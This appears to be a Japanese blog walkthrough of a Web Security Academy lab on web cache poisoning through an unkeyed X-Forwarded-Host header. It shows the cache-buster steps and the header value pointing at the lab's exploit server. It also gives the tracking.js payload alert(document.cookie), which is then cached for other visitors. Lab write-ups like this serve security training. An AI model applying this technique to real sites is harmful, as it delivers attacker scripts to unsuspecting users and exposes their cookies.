Hello there, ('ω')ノ
キーのないヘッダーを使用したWebキャッシュポイズニングを。
くれぐれもブラウザ内に保存されているローカルキャッシュと混同しないように。
レスポンスがキャッシュサーバからのものかどうかは。
ヘッダのhit、またはmissで判断できて。
また、保存期間から。
リクエストごとにキャッシュされた応答を使用できるかどうかを判断して。
キャッシュキーが一致する場合は。
キャッシュサーバは、保存された応答で応答できると判断して。
キャッシュなしの転送ルートは以下のとおりで。
User ⇨ Cache Server ⇨ Application Server
⇩
User ⇦ Cache Server ⇦ Application Server
そのときのレスポンスは、以下のとおりで。
Cache-Control: max-age=30
Age: 0
X-Cache: miss
キャッシュされると、転送ルートは以下のように変化して。
User ⇨ Cache Server
⇩
User ⇦ Cache Server
そのときのレスポンスは、以下のとおりで。
Ageが30に達すると0にリセットされて。
Cache-Control: max-age=30
Age: 2
X-Cache: hit
さて下記が、キャッシュキーでキー入力と呼ばれるもので。
GET / HTTP/1.1
Host: ac021ff51e2bdd5080340d5f003500cb.web-security-academy.net
他は、すべてキーなし入力で、キャッシュサーバーでは無視されるので。
Webキャッシュポイズニング攻撃を考えるには。
アプリケーションサーバで考慮されるキーなし入力を見つけることで。
キーなし入力というのは、以下のようなヘッダで。
Accept:
Accept-Language:
Referer:
Sendしてみると、下記のレスポンスからサーバからの応答を確認できて。
Cache-Control: max-age=30
Age: 0
X-Cache: miss
もう一度、Sendすると今度は、キャッシュサーバからのようで。
Cache-Control: max-age=30
Age: 9
X-Cache: hit
ユーザーは、1分に1回ホームページにアクセスするとのことで。
キャッシュバスターを追加して、アクセスされないようにしておいて。
?cachebuster=12345
Sendすると新たにサーバからレスポンスがかえってきているのを確認して。
Cache-Control: max-age=30
Age: 0
X-Cache: miss
キーなしヘッダを追加して、レスポンスを確認すると反映されるのを確認して。
X-Forwarded-Host: example.com
ちなみに追加前のレスポンスは、以下のとおりで。
リクエストで得られたアドレスをファイルに。
/resources/js/tracking.js
ボディにはペイロードを。
alert(document.cookie)
エクスプロイトサーバのURLをコピーして。
https://ac531f391e2a220e805e00b801be004d.web-security-academy.net/
下記をリクエストサーバのURLに書き換えて。
現時点ではキャッシュバスタを知っている人間でないとレスポンスを得られないので。
X-Forwarded-Host: ac531f391e2a220e805e00b801be004d.web-security-academy.net
キャッシュバスタを削除して、Sendしてキャッシュに保存させて。
ホームページにもどって、リロードするとクリアできた。
Best regards, (^^ゞ